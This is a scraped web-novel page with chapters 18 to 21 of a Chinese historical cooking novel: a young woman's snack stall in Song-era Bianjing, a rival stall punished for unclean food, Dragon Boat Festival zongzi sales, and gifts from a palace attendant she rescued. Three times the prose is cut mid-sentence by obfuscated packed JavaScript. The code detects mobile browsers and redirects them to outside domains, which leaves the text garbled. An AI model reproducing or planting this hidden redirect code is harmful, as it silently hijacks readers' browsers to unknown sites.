谢大郎在席上没怎么吃，闻见味儿也不客气，大口吃了起来。半碗面下肚，又吃了几串签菜，喝口汤去去油腻，胃里总算没那么难受了。 谢诏也拈起一根素签小口慢嚼，炸的豆子，香酥得很，配着面前飘来的酸汤味道，更开胃了。 谢大郎与自家弟弟截然不同的性子，很是豪爽，拽着两三根签子一咬：“痛快！” 虞蘅若与对方见面，必当相交恨晚。撸串的快乐，至少得有一半来自于“撸”好么！你们这些文人雅士哪里懂最后一口的精华。 肥厚的、炙得焦香的肉串，在牙齿的作用下从签尾被拖到签头，一并将先前沾在竹签上的孜然、辣椒等调料给薅了下来，滋味最浓了。 在弟弟这吃好喝好，蹭了一顿宵夜，因酸汤能解酒，谢大郎清醒不少，至少能走直线了，这才肯回自己院子。 过了几日，虞蘅从鸡鸭摊上买回来许多下水内脏，往热油锅里下切好的鸡胗，炸鸡肫签。 市井中卖的签食，多是鹅鸭签、鸡丝签、肚丝签、素签等经济实惠的种类，像樊楼这样的正店，则以羊舌签、蟹签等价贵食材做噱头，高价卖，吸引贵客。而贵客豪掷千金，也不全为了好吃，更是籍此积攒吹嘘的事迹。 曾有厨娘以擅羊头签出名，凡是吃过的人都言极香脆嫩，有人家花大价钱请其回来做宴，果然不同凡响。 事后主人家对上账簿，吓了一跳，光一道羊头签便用掉十几头羊。 原来这厨娘做羊头签，只取羊脸上最嫩那二两肉，剩余直接扔掉，要凑成一道宴席菜，可不得十几只羊头么？ 正因如此，这位厨娘做的羊头签才格外香嫩。 主家府上的厨婢觉得太浪费，想捡那剩下的羊头肉来做菜，反被厨娘讥笑：“真狗彘也。”嘲笑主家小家子气。 事后这主人家如何心痛是一回事，可逢人说起那日那道羊头签，愈发地赞不绝口，厨娘的名气也因此愈发大了。1 阿盼听了这掌故，很是啧啧：“好在是京师，否则换做偏远一些的州府，整座城一日只得供应一头羊的，上哪里去凑齐这一盘菜呢？这大户人家岂不要丢脸？” 阿盼很爱听虞蘅边做菜边讲一些掌故，她觉得比书肆架上卖的那些话本子还有意思，且蘅娘子讲起吃的来绘声绘色，佐餐听最下饭。 故今日晚上的油炸鸡肫签，阿盼吃得格外地香。 鸡肫、鸭肠这样的家禽下水，那是比猪肉还价贱的存在，却被虞蘅卖出大价钱。 当然她也费了一番心思，又是改切花刀，将样子弄得好看些，又是研究蘸料的比例，改良了七八版，最后才调得大约有后世五六成影子。虽说原料不值几钱，可好几味香料配料，又是油炸，这钱赚得不心虚。 虞蘅掰着指头与阿盼算成本时，恍惚想起后世那些将水电奶粉钱都算在自己头上的店主。 嗤。 虞蘅决定卖签食，还与隔壁签食摊的徐娘子有些关系。 这些日子因着虞记的买卖在变好，带得另一家卖素签的章记多卖出去不少，同样都是签食摊，与买卖红火的章记相比，徐家的铺位鲜有人问津。 可徐娘子并未因此反思自家，反倒觉得是虞蘅的桌凳挡了她家道，影响了她家生意，否则本该更好。 这般不平衡下，难免言语就带了出来。 阿盼着急，声音便大了起来：“这路又不与你姓徐，我们怎就不能摆在这？” “你们家桌凳占去半条道，叫客人如何好走？挡住原本要买食的客人脚步，在你们铺里顺道坐下，抢了我们原本的买卖？” 徐娘子不愧市井中历练出来的，立刻将声音拔得比阿盼更高，又三言两语便将旁余店铺拉拢到自个阵营。 可明眼人都瞧得见，徐家炸签用的油是黢黑的，炸出来签食松垮不成形，常常有客人吃出糊味，即便虞蘅不将桌凳摆在这儿，也没几个客人愿意过去。甚至从前虞记还没搬来时，徐家生意比现在还不如呢。 与这种人争执是讲不出道理的，虞蘅直接恐吓她：“我们铺都是比着官衙的规矩，一尺也不多，徐娘子有疑，咱们便去寻来官吏小哥，也好一次问个清楚明白。” 市井小民天然对官兵有些恐惧，自那以后，徐娘子不再说什么，只总在细枝末节上给她们找不痛快。 不敢将污水泼在虞记铺前，毕竟那也是公共道路，是要被请去官衙吃罚的。 徐娘子琢磨了琢磨，自认聪明地学她们卖起了冷淘。酸汤方子她学不来，冷淘还不简单么？切几样咸菜丝，浇上盐卤水，一点也不是难事。 还真叫她捞走不少客人。 阿盼见白日里，许多原本总来她们摊上的客人转头就去了徐家，气得上火，舌上长了老大燎泡。 虞蘅一边给她涂药，“明令”禁了她这几日的肉食，一边给她分析。 码头工干活按筹计件，干得越多，工钱越丰厚。卖了一上午的力气，只有中午这一顿吃得够饱，下午才能干更多活。 徐家冷淘比她们便宜两个铜板，虽然样子差一些，可分量更大。至于味道上的细微差异，对码头搬货的脚夫来说，并不那么重要。 阿盼不服气：“难道就这样让他们？蘅娘子是没看今日那徐家娘子得意嘴脸！” 她指责对方见自家生意好，便模仿自家，对方却说这冷淘人人都能卖，又没写你家姓名。这话听着耳熟，待阿盼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092348|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起来是那日自己回怼徐娘子的原话，更生气了。 什么人啊！ 冷淘当然人人都能做，可那样好看的五色冷淘，市面上独独自家才有！ 她舌头上燎泡就是给气的，才不是吃多了肉食上火！ 阿盼不忿极了。 虞蘅将药膏罐子盖回去，闲闲地道：“买卖么，本来就谁做都可以。” 阿盼瞪着眼不可置信了半晌。 见婢子憨，一时半会转不过弯来，虞蘅笑笑：“她能卖冷淘，我就做不得签食？” 何况虞蘅并没与阿盼说，这几日虽然来自家的客人变少了，可每日的进账却没太大下降，甚至今日比起最忙碌那天还多几十个子儿。 虽然说是因为有大户人家的打赏钱在里头，可能叫人打赏，本就说明了她们看家本领够硬不是——却没见有谁吃了徐家冷淘，因此打赏的。虞蘅嗤笑。 阿盼也终于反应过来，高兴道：“蘅娘子也做签食，肯定比徐家娘子卖得好。” “你又知道。”在心里刻薄完后，虞蘅便又是那个待人顶和气顶谦虚的了。 “哼，我就知道。”阿盼乐呵呵去洗脸去了，药膏敷了许久，流一嘴哈喇子，怪恶的。 呵，小丫头，还傲娇上了。 从小到大，虞蘅吃过最多的路边摊就是油炸串串，见多了猪跑，也吃过细糠，怎么会做不好？ 理所当然地在枣花巷人家里一炮打响。 章家签食因为种类颇丰、价格经济，并未受到太大影响。 倒是徐家娘子受到影响，又不乐意了：“你们卖好好的面食，何故抢我们家生意？” 可这话她自己说着也心虚，只能看着原本就不多的客人被抢走。 还没等到再寻机会恶心回去，自家又摊上了麻烦事。 原来徐娘子嫌前日用剩下的豆角倒掉太浪费，便掺在次日新切的里面，拌匀后一点看不出，左右都是腌过的，舌头灵敏的客人还以为是今日醋放多了，才格外酸呢。 吃得多了，便吃出了事儿。有好几个因为前一日吃了徐家冷淘，晨起腹痛的，在医馆碰见了，一对上，顿时明白过来，这是徐家吃食不干净啊！ 便都寻了过来，气势汹汹要讨个说法。 徐娘子吓得，矢口否认，狡辩自家绝对干净。 可旁人一看她那口已经黢黑的锅灶，还有什么不清楚的？ 告了官，官府打发市监的人来，罚了好些钱银，将这些天所赚的尽数罚了去，还被勒停休业两个月。 阿盼捧着两杯甘草饮子回来时，恰好撞见那场景，据说徐娘子仍在嘴硬，诬陷她们家才不干净，被路过一小哥驳了：“休得污蔑旁人！虞记的吃食我是知道的，我家阿郎肠胃弱，每次吃她家面食都熨熨帖帖，怎可能不涮锅？” 那小哥阿盼是认得的，前几日来还碗，给了半吊赏钱，更叫阿盼记住他的是，比脸还大的面碗，他吃了两碗。 这得是多能吃。 若非徐娘子眼神愤愤，叫阿盼毛骨悚然，生怕她再攀咬，定然要扯着那帮腔的小哥好生道谢，再请他吃那样大一碗面才是。 19. 第 19 章 今年闰了一个二月，是以端午要比往年更热些。 晨起，虞蘅将红纸包的艾叶剪成老虎形状，插在门板上，又给食铺前也贴了一张，回来时，看见家家户户门前都插上了艾草与菖蒲。 这是汴京时下过端午流行的“粘艾虎”，以求避邪毒。 阿盼起来，先看到家里这一幅，站在面前琢磨了许久：“这猫长得倒威风，只是蘅娘子，为何脑门上有个字哩？” ……行吧，“大猫”也是猫嘛。 靠虞蘅“扫盲行动”，阿盼也认得些简单字了，市面上的话本，有一半都是图画，连蒙带猜竟然也能囫囵看懂。 学会这项技能以后，她便沉迷于看话本来消遣睡前时光。 许是看多了影响精神，昨儿晚上才做了个梦，梦见自己成了那话本中佳人身边的丫鬟，佳人遇上落魄秀才，好心资助，秀才飞黄腾达却忘恩负义，抛弃恩人另择高枝，自己遍是那才子佳人中间帮着传信的“帮凶”，气得她蹬腿醒来。 醒来后阿盼对上虞蘅正掬水捧着洗脸，刘海被打湿了一绺，别在耳后，露出白白净净一张芙蓉面，阿盼还有些不太自然。 日日对着蘅娘子，梦里那佳人自然也是蘅娘子的模样，想起蘅娘子在她梦里终日以泪洗面……阿盼一阵心虚。 神思恍惚着，竟然将漱口水和着牙粉一并吞了下去，咳咳咳……辣嗓子！ 蒸粽的香味从厨房传出来，阿盼洗漱过后循着摸到了蒸笼前，心痒难耐：“蘅娘子，这些都是今天要卖的啊？” 虞蘅笑道：“吃吧，短不了你吃的，你若能吃完，我再蒸一锅。” 一锅可有好几十个呢，阿盼当然吃不完，可就喜欢听虞蘅这样紧着她说。 虞蘅也是这个年纪过来的，知道，青春期嘛，就想当别人眼里最要紧那个。 阿盼围着锅边挑了一个赤豆小枣的，一个白粽浇上糖酪，配一碗从市井买来的豆浆，吃得八分饱，特意留出肚子来，是为了午食在外头好多吃些。 自从换到城里来住，虽然屋舍不如原先的大，但有一点好处就是新厨房又大又敞亮，连锅底都簇新，还有厨房里的高矮橱柜，每口都又大又深，能放好些存粮。 虞蘅是有些仓鼠属性在身上的，阿盼经历过灾年，挨过饿，也很赞同她屯粮的做法。 为了防鼠虫，入夏后，虞蘅每日都会往角落熏樟树枝、撒薄荷油，特别放油放肉的地方会多多撒些，虽不知成效几何，但就目前来说，还没见到过明目张胆偷吃的耗子。 今日是端午，眼下民间过端午会系百索、插艾草，除此之外，皇家会举办龙舟赛，在这天开放金明池，官民老少都可前去观赛。 虽然天气炎热，可或许能够瞻仰天颜，这样难得的机会，汴京的小老百姓们大多都不会浪费。 何况即便偶遇不了圣人，能赏赏金明池的夏景、游游御苑也是好的。 虞蘅少不得也去凑凑热闹，昨晚就提前蒸好了角黍，甜的咸的各种口味，一直捂在蒸笼里，今晨起来吃了一个，江米已经蒸得软糯黏嘴了，红枣也格外香甜。 阿盼吃完又去喂鸡鸭，虞蘅则将粽子打包分好，装进篮子里。她准备挎着篮子拿去金明池外围叫卖。 为了方便区分，卖的时候好拿，甜粽都包成了细长秀气的条形，咸粽则是饱满均匀的小三角，各有三样口味，蜜枣的、黄米的、还有蘸糖的白粽，蛋黄肉的、板栗肉的、还有鸡肉粽。 都是两人爱吃的口味，卖不出去还能留着自家吃。 江米黏糯，吃着容易口干，另还有一桶掺了碎冰的绿豆甘草凉水，待到冰化尽了也没关系，虞蘅还有替补的法子，加些薄荷进去煮，放凉了一样爽快。 虞家自然没有窖藏的冰可用，都是每日听见外面街巷传来贩夫挨户叫卖私冰的动静，这才买点。 冰价虽然贵，可最热这两个月是断断省不了的，若因此热坏得热射症，那可划不来。 她们也不学大户人家整日在室内摆大盆冰降温。 阿盼大步如风地走进来：“蘅娘子，蘅娘子！” “怎么了怎么了？”她叫得急，虞蘅还以为发生什么大事了，忙问。 “这鸡公都热蔫了”阿盼拽着那只热蔫的鸡脖子进来，火烧火燎道，“今晚便炖了吧？” “……”这个理由叫虞蘅没法拒绝， “你想怎么炖？” “就做上回做过那鸡公煲。”阿盼满眼放光。 说起鸡公煲，也是许久没吃了，上回还是因两只公鸡打架，斗死了一只，等虞蘅二人回来时已经断了气，这才拿来做了当天的食材。 虞蘅想起鸡公煲的滋味，也有些馋了，却不能在婢子面前表现出来，否则明日说不定又有“中暑”的家禽，岂不乱了套。 她佯装为难地思忖了好一会，直到阿盼将最热最累的烧火和拔毛活计都揽去，这才答应下来。 阿盼以为自己小心思没被瞧出来，越发地高兴。 虞蘅瞧她蹦跶背影，失笑摇摇头，阿盼先前刚到她身边时还会有些紧张，现在却越发孩子性了。 手里算有了些钱，两人出门后雇了辆牛车，节省不少搬运的力气。 虞蘅也是算过账的，雇车不过十几个子，若将太多时间花费在路上，褥子里捂着的冰都化了，多不值！ 坐车并不光为自己享受，也是变相省钱了。 金明池好生热闹！ 还在十几丈开远，牛车便驶不动了，阿盼探出半个身子往外看：“蘅娘子，前头一窝蜂的人，堵住了。” 前辈子阻拦虞蘅节假日出游的最大罪魁祸首就是堵车，却没想到在工业革命之前，大宋人民出行也得堵一堵怡情。 好在也没有多少路了，二人干脆下车，车夫好心，见她们两个小娘子搬得吃力，便将牛赶到一旁的槐树下系好，帮她们将东西都搬到了金明池苑的西口。 平日摆摊，人人都想往城内走，今时今日却掉了个头。 金明池周长九里三十步，池形方整，曲水湾环，布置得很是幽雅，平台曲榭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092349|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，尽是高高低低的太湖石，叠成假山，衬着参参差差的树竹。①四周有围墙，平日禁止百姓出入，池中建筑多在水上，建筑之间由设在水上的桥廊连接，两旁挂着十步一盏的羊皮玳瑁宫灯。 虽说今日向百姓开放，也不是所有地方都能去的。譬如园林中心的巨型仙桥，又譬如桥尽头处崇楼叠阁的“五殿”，那是官家的起居之处，有禁军把守，一旦靠近就会被警告，先是眼神，再是劝告，若不听—— 到底不是新中国，还没人敢不听试试。 隔着桥对望，那边的临水殿传来袅袅丝竹声，看来是官家在宴请群臣。虞蘅挑了个地方，背对着水面波光，太阳便没那么刺眼。 走了这么久也累脚，便展开从家带来的布铺在地上，无视众人眼光坐下，开始了今日的买卖。 选择今日来金明池卖粽子的摊贩可真不少，大家都卖，不乏有粽子形状特别精致的“巧粽”。 样子好看，馅儿却普通，不过两粒小枣而已，捏成帆船模样，要卖十几文一个。 竞争对手这样多，好在虞蘅很有先见之明地带了炉子。 点着炉子，开始热粽子，小锅咕嘟咕嘟的时候，香味也飘了出来。 粽子的香味或许不如包子那样张扬热烈，经过箬叶的裹缠，江米、咸蛋黄与卤肉的味道变得沉稳，只在方圆几十步以内撩拨人们肚里的馋虫。 早上才吃了那么点，现下又走了这么多路，阿盼肚子早饿了，才坐下，便剥开一个板栗肉粽吃起来。 头一天蒸了好几时辰，剥开的时候，那外头包裹着的箬叶好容易与江米分离，都拉出细丝了。 路人瞧了，闻见味儿，顿时也想起来，哦，今日是该吃几个粽子，去去毒。 见虞蘅这儿花样选择多，一郎君买了好几样，并绿豆甘草薄荷饮子解渴。 结果饭食，先将竹筒里饮子一饮而尽，擦汗道：“好痛快！再来一筒！” 这会子冰还没化完，喝完后肺腑都通透了，吸气时带着薄荷的凉意，简直是炎炎暑日里的救星。 因为重，外加冰存不了多久，虞蘅并没有准备太多饮子，结果最先卖光。 剩下吃了粽子黏嘴口渴的，只好去别的摊位上买水买茶。 卖得最好还是甜粽，赤豆粉烂粉酥，蜜枣蒸出汁水，甜味渗入江米里，原本雪白的江米被浸染成微润的淡黄色，加热后，吃起来整个粽子都带了淡淡的馨甜。 咸粽子卖得也不差，最经典的蛋黄肉粽，到中午时就几乎卖空了，选择板栗肉粽的人也很多，经典适口，老少咸宜。 里头的卤肉是虞蘅特地挑过的，肥瘦参半，吃起来不至于肥腻，又不会完全瘦肉般塞牙缝。 原本准备了一天的量大半，下午时就卖得七七八八，只剩零星几个。 不过到了下午，龙舟已经赛完了，游园的人渐少，中午又都吃了东西，遂没几个光顾生意。 就在虞蘅也意兴阑珊、昏昏欲睡，准备跟阿盼打道回府的时候，一个有些眼熟的客人来了。 20. 第 20 章 “小娘子，可有炙豕肉？与我来一份吧。”老者笑眯眯的，显然也认出她了。 只是相比起那日窘迫，今日的老者一身绸子衣裳，花白的头发梳得一丝不苟，精神焕发，叫虞蘅都不敢认。 若非他身上文彬彬的气质与唇下一颗肉痣太过好认，又站在她摊前只看不买许久，虞蘅还真没将眼前之人与那日摔倒在自家巷口蓬头垢面的老人联系起来。 虞蘅笑道：“老丈这是散心来了？可惜儿这只有些角黍，不如与了老丈打打牙祭。” 蔡良本意只是逗逗这帮了自己大忙的小娘子，并非真要吃那炙豕肉，也不肯占她便宜，一定要按市价付了钱，这才肯收下角黍。 换虞蘅拿着钱有些尴尬：“这……”倒像她挟恩图报似的，将卖剩下对角黍一股脑塞给人家，好不要脸。 蔡良只是略出来散散，还得回太后身边伺候呢，便不与她多说了：“今日碰得仓促，待改日必定备厚礼，登小娘子门道谢。” 虞蘅不知他身份，觉得这老丈忒客气，或许是官宦人家，生得面白细皮，一看就有人伺候的，且身上又有文官气，文官就喜欢穷讲究。 对方刚走，阿盼恰好回来，看见蔡良背影，觉得奇怪。 “小娘子，那客人买走了我们的角黍？” 她看蔡良身上穿着绸缎做的衣裳，富贵之气尽显，奇怪这样的人家也会来路边买角黍么？ 时下汴京风气如此，富贵人家出行都会带上自家仆从，包括用饭点心之类，动辄几辆马车，就是怕在外吃坏了肚子，或被有心人钻空子利用。 虞蘅与她解释：“这是那天我们收留吃饭的蔡姓老丈，恰巧碰上了。” 阿盼很是吃惊，左看右看，光看背影，怎么也不敢认。 “竟是那老丈？那老丈这般阔气？” 怎么会被市井泼皮给欺负了？ 像这样的老太爷出门，身边不都会跟一串的小厮仆从么？ 这是话本子看多了，还一串，虞蘅忍不住发笑。 但阿盼的奇怪也不无道理，前几日，她们从食铺打烊回来，才到家门口，就看见远远的，拐角处地上貌似趴了个人影，缩成一团，把她们吓一跳，走近一看，就发现是个年逾六旬的老丈，头发散乱，外衣都被人扒去了，钱袋子更是扯落掉在地上，里头已经被洗劫一空，形容好不狼狈！ 她们当下扶着老丈靠墙坐好，拨开乱发，露出来半边的脸都肿了，说话也说不清。虞蘅和阿盼只好亲自去周围问了一圈，邻居都说不是自家长辈。 虞蘅见他身上衣着单薄，虽然是夏夜，可一会到来后半夜温度降下来，还是有点冷的。 见老丈无处可去，虞蘅圣母心再次泛滥，就托邻居帮忙报官去。 等报官回来总不能一直在巷弄里坐着，更何况对方口中一直喊饿。 阿盼也看不下去，见这老丈，她想起来早死的爷奶。 许是脑补了下自家老人被外面坏人欺负的场面，阿盼眼圈都有些红了：“小娘子，咱们先将人带回去，与他吃顿饱饭吧。” 虞蘅点头，一顿饭而已。 二人将走路打战的蔡良扶回了家，叫他在院里且坐下，又请来隔壁邻居家杨官人，借了一套旧衣换他穿。 隔壁杨官人在帮着蔡良收拾的时候，虞蘅跟阿盼在厨房做当天的晚饭。 二人原本商量好的，今晚吃炖肉。 虞蘅做的炖肉，也就是红烧肉了，要先烧猪毛，再拿小钳子对着光细细拔去残余的毛茬，再切小块，炒糖色、拿酒、清酱汁子浇没过锅里猪肉，小火慢炖，焖炖得软嫩红肥，腴而不腻，是袁枚所谓“紧火粥，慢火肉”之理。 这是个功夫菜，院里还有几张等着吃饭的嘴，眼下临近饭点，却不好再“小火慢炖”了。 于是虞蘅改切花刀，换“大火炙烤”。 一条漂亮的五层花肉，层层叠叠，肥瘦相间，先将猪肉洗净，用酒腌上一会儿，这时间用来准备旁的。 虞蘅拍了两根新结的胡瓜，拿醋清酱茱萸辣子调个料汁，拌上，清清爽爽，酸辣开胃。 白日买的豆腐，再不吃留到明日恐怕要坏，便拿来煎了，与腊味合蒸。 腊肉蒸上锅后，猪肉也终于腌好了，因要撒腌料进炉子烤，湿哒哒到烤不出脆劲儿，阿盼便取来干净布将肉擦得很干，再撒茴香孜然等腌料。 送进炉子，先小火烘，再添柴烤，直至肉变得红硬红硬，这时候皮还不算脆，便取出来，用钩子倒钩着下油锅里炸。 炸脆肉皮没什么秘诀，光手要快眼要疾，一糊便完蛋了。 脆皮炙五花，后世夜市摊上的网红玩意儿，用洗净的菜叶子包了，撒上辣椒面，一口满满当当，蔬菜的清脆、五花肉的香脆，就连瘦肉部分边缘都烤得微微焦脆，加上表面裹了碾碎的熟芝麻、茴香与孜然，满口生香。 其实经过先前调料腌了一轮，炙肉的风味已经很足了，就是什么料都不蘸，吃着也极美。 杨官人就喜欢那什么也不蘸，热烫的炙肉直接送入口，油汁迸溅出来，咀嚼间涌动着原汁原味的肉香，久久不散，烫着舌头也不舍得咽下。 洗涮过一通，与杨官人简单交谈几句，知道自己这是被两位好心小娘子救下了，蔡良的精神头恢复不少，有自己吃饭的力气了。炙肉对于他来说暂且太油腻，这时候手边那碗清清淡淡的肉丸汤作用就显了出来。 本只是报着吃饱一顿好回宫休养的念头，甫一入口，却被惊艳了下，汤鲜肉嫩，好清汤！ 肉圆在热汤中不散，被牙齿一碰，却又立刻碾碎，嫩得出奇，这可还是豕肉？ 蔡良在宫中几十载，又是太后跟前的红人，什么好东西没吃过？知晓羊肉绝不是这样味道。 他用舌尖碾了黏，尝出来些姜辣味、些葱香味，最多是豕肉的腴美。 便是身上还带着伤，他都立刻认真起来，太后交给他的活计，不正是搜寻汴京民间各色好食编撰成录么？ 眼前这一桌丰腴食色，可不正是合太后的意思，“色香味俱全也”之好食么？ 他是老饕了，对饭食要求很高，这“高”并不是一味地追求食材的名贵，而是如何能将某样食材原本的价值发挥到最大，因此，太后才放心将这活计交给他。 见蔡良迟迟不动筷，神色迟钝，似有思虑，虞蘅温和且客气地劝：“老丈莫要客气，且在我们家吃饱，一会儿官爷来，就将您送家去。” 虞蘅以为他是不好意思。 阿盼懂事，给蔡良端来一大碗热气腾腾的稻米饭。 她知道人饿的时候就想先吃饱，什么慢嚼细品，那是衣食无忧的人才有心思做的。 两位小娘子心善，杨官人也宽慰他：“有什么难处，一会与官爷说说，先吃饱，才有气力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092350|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 蔡良眼底有些湿润，他只是想到在宫中如何风光，今日却遭人欺负，路过十数人竟无人帮忙，有些委屈罢了。 若彻底没人管他还好，如今碰上有人帮忙、还做了眼前这一桌好饭食，让他别客气，一定要吃饱，这委屈便压不住了。 为了掩饰，蔡良学着虞蘅她们的样子，取了片菜叶子包肉。一咬下去，青菜脆甜的汁水与肉的油脂同时在口中迸溅，舌头被鲜得不舍咽下。 蔡良来不及委屈，赶忙去包下一片。 这样的吃法，对他来说有些失态了，可落在虞蘅几人眼里是刚刚好——一个落魄遭抢无依无靠的老者，几顿没吃饱，可不吃得着急么？ 所以说，误会便是这般产生的。 配着几样再家常不过的小菜，吃光拉面前一碗饭，蔡良尤觉不够饱。可饭是阿盼亲自盛的，压得瓷瓷实实，还又往上填了几勺，都满出来堆成小山尖了，是蔡良平日饭量的两倍不止。 在宫内侍奉，宫女与内侍都是不能吃饱的，怕污秽。 又喝尽一碗汤，蔡良掏出襟内藏的帕子擦了擦嘴，总算缓过劲来了。 这样好的饭食，再吃上三碗他都觉不够。 比起他先前花大价钱吃的那些名厨菜、大酒楼，有过之而无不及。 蔡良稀奇得很，是他饿得狠了？怎就觉得连这小院里的白水都更甜些？ “小娘子，小娘子，”邻居李官人气喘吁吁跑来敲门，领回来两个青衣官差，“回来了，差爷请回来了！” 两个青衣小吏一踏进门，嚯，好香饭食！ 两人对视一眼，都还没吃饭呢。 饭点了，办差事都有些懒懒的，此时见虞蘅家吃得好，心里便起了杂念，想占民便宜。 原本小民巴结官吏，官吏借势捞些好处，在市井中正常不过了，可接下来院中那老头的脸却叫他俩吓得踉跄，不敢造次：“蔡……蔡……” “蔡老？”另一人狠狠肘击同伴。 蔡什么蔡，没看人蔡内侍乔装成庶民模样，或许是有什么太后吩咐的要紧差事在身，不便被人知晓呢！ 既然能做汴京的吏儿，那另一人也不是蠢笨的，立时明白了同伴的意思。 看来这桌饭菜是蹭不得了……毕竟蔡内侍与对方有交情。 还有日后，若兄弟伙再来这家出公差，也得谨慎着些。 虞蘅犹不知道，自己捡回来的麻烦给她免去了许多的“保护费”。 蔡良缓缓点头：“你们送我回去。” 虽然他认不得眼前这两小吏，但对方想来是在哪次庆典上见过他，认出了他来。 小吏难得在贵人面前露脸，很是高兴，也不觉得饭点出公差是件倒霉事了，还因此感激虞蘅呢。 说不定蔡内侍因此记他们一个好，在太后跟前提拔，他们能借此晋升呢！ 得虞蘅、阿盼与杨官人、李郎君帮助，蔡良得以脱困，顺利回宫，心里记着她们的好，金明池回去以后，趁御驾还没回宫，便备了厚礼，遣小黄门给她们送去。 虞蘅瞧面前生得斯文白净、穿着宫人服制的小黄门，傻了眼。 总算知道那位老丈身上的文气哪来的了……年轻时当过掖庭先生，教过宫女学识，眼下是太后跟前近侍，很有几分脸面。 虞蘅看了眼长长的礼单，觉得自己该要喝口冷水压压惊…… 21. 第 21 章 蔡良送的是谢礼，并非赏赐，备礼的小黄门很费了一番心思，给各家各户送去的都是实用的东西，知道她做吃食生意，送来的都是好茶与好佐料，另外还有的却不似蔡良手笔。 一只箱笼里，堆着两匹绸、三匹细绢，还有一匹纱，一些金玉首饰，虞蘅凭以前的眼光去看，也能看出来都是很好的东西。 宫里赏赐，常见的就是这些。 那小黄门也说：“太后念小娘子心地纯善，以示嘉赏。” “……” 虞蘅请那小黄门坐下，“公公吃盏甜水，消消暑气，再回去。” 这小黄门不过是个内库打杂的，如何担得起虞蘅这一声“公公”？可也没纠正。 看眼外头，这会正直当午，炽热的白日照得人睁不开眼，远处大地被炙烤出了波痕，翻滚着。 这时候回去，简直是活受罪，虞蘅能邀他坐下来吃盏饮子，当然好。 阿盼奉上一碗清清甜甜的蜜豆牛乳圆子。 那碗沿还挂着水珠，刚从井水中捞出来的，冰冰凉。小黄门也才十来岁，刚入宫不久，对于这种民间解暑冰镇的法子以前见得多了，一点也不稀奇。 就见无甚出彩的土瓷小碗里头，盛着几只白嫩嫩圆子，牛乳汤里撒了点桂花，闻起来除了桂花香外，还有股甜香，恐怕还放了蜜。 光是瞧见、闻着味儿，那股子夏燥就去了不少，小黄门扔了拂尘慢慢吃起来，在正午的市井里头享受半点偷闲时光。 圆子是用江米粉掺了牛乳揉成，吃起又甜又软，很是耐嚼。也不知这小娘子如何做的，个头只有拇指头大，咬开里面却还包了馅儿，赤豆的，口感粉沙，不怎么甜，但加了蜜的牛乳又恰好补足这一点，爱甜的不爱的都能喝得尽兴。 宫里每日也有供应给宫人消暑的饮子，有时是加了陈皮熬的绿豆凉水、有时是酪浆，无论何种都加了大量的蔗酪，喝下去甜得舌根发腻。 小黄门将一碗都吃尽，抹抹嘴，谢过虞蘅，这才多与她说了几句。 原来那日金明池偶遇后，蔡良回到岚云殿，换了身衣裳，便回太后跟前侍奉，次日碰上官家来同太后请安，共进朝食。 蔡良因为有些学识、当过内教博士，在主子跟前很有几分体面。太后将收录民间饮食、编撰食单的活计交代给他，官家也是知道的。 官家孝顺，知道太后有了春秋，越发有些原先闺阁时候的孩子脾气，爱吃爱玩，便也很支持蔡良的差事，甚至还给他专门拨调了一批帮手——一群舌头灵、人也机灵的膳房小太监。 那次被泼皮抢劫，不是恰好，而是他们此前出宫不晓得收敛遮富，被盯梢了，碰上蔡良一人出宫时机，便寻了个僻静巷子动手。 这是后来开封府审讯那几个泼皮无赖时，对方自己招供的。 他们当然不知道被抢对方是宫里头太后跟前红人总管，若知道，怎么敢抢？ 一个个都是欺软怕硬的，被吊在刑架上，鬼哭狼嚎，甚至狱卒还没怎么动用招式，就受不了疼痛全招了。 最后都被裴府尹打发去修牢房。 蔡良这辈子分水岭在十二岁，先时富贵不经世事，后在宫里待了一辈子，才知晓原来市井不仅有淳朴善良百姓，还有这样顽劣之人，越发感念当日幸好有虞蘅几人。 官家体贴他年事高，受此委屈，着实不易，赐了桌上一盘荔枝甘露饼与他吃。 宫中饮食，其实也没民间想象的那般非山珍海味不可，尤其太后宫中，其实没那么多讲究与规矩。 她的娘家出身只是扬州一小地方官员，与其他三妃显赫的出身相比，几乎可以说是“寒微”了，先帝在时，她也算不上宠妃，因为幸运诞下了皇子。六皇子性子温和沉静，在一众兄弟中并不显眼，最后能登基也是因为捡漏。 母子二人一贯的运气好，是以今上登基后，太后便笃信神佛，认为神明有眼，眷顾他们。 每至年末，太后都会命自己宫中宫人焚香净身三日，再斋戒茹素一整月。 平日里，吃的也多是家常饭食。 